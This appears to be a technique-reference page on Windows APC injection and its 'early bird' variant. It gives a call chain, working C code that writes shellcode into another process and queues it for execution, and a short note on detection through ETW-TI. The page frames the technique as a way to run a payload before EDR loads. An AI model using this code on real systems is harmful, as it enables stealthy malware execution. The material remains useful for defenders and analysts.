APC Injection
Overview
Asynchronous Procedure Calls are a legitimate Windows mechanism for running a function in the context of a specific thread. A user-mode APC only fires when its target thread enters an alertable wait, so this technique trades reliability for quiet: no thread is created, no context is rewritten, and the payload runs on a thread that was always going to run.
The “early bird” variant sidesteps the reliability problem entirely by queueing the APC onto the
primary thread of a process created with CREATE_SUSPENDED — that thread is guaranteed to drain its
APC queue during ResumeThread, before any EDR DLL has finished initialising.
The call chain
- 1VirtualAllocEx + WriteProcessMemoryStage the payload in the target address space.
- 2NtQuerySystemInformationEnumerate threads to find one sitting in an alertable wait.
- 3QueueUserAPCAttach the payload address to that thread's APC queue.
- 4(thread enters alertable wait)The APC fires the next time the thread calls SleepEx, WaitForSingleObjectEx or similar.
Reference implementation
PVOID mem = VirtualAllocEx(hProc, NULL, size, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProc, mem, shellcode, size, NULL); DWORD old; VirtualProtectEx(hProc, mem, size, PAGE_EXECUTE_READ, &old); // early bird: hThread is the primary thread of a CREATE_SUSPENDED process QueueUserAPC((PAPCFUNC)mem, hThread, 0); ResumeThread(hThread); // the queue drains before the process fully initialises
PVOID mem = VirtualAllocEx(hProc, NULL, size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, mem, shellcode, size, NULL);
DWORD old;
VirtualProtectEx(hProc, mem, size, PAGE_EXECUTE_READ, &old);
// early bird: hThread is the primary thread of a CREATE_SUSPENDED process
QueueUserAPC((PAPCFUNC)mem, hThread, 0);
ResumeThread(hThread); // the queue drains before the process fully initialisesDetection
ETW-TI is the only continuous source that sees the queue operation itself. Without it, you are left correlating the handle request with the memory artifact the payload leaves behind.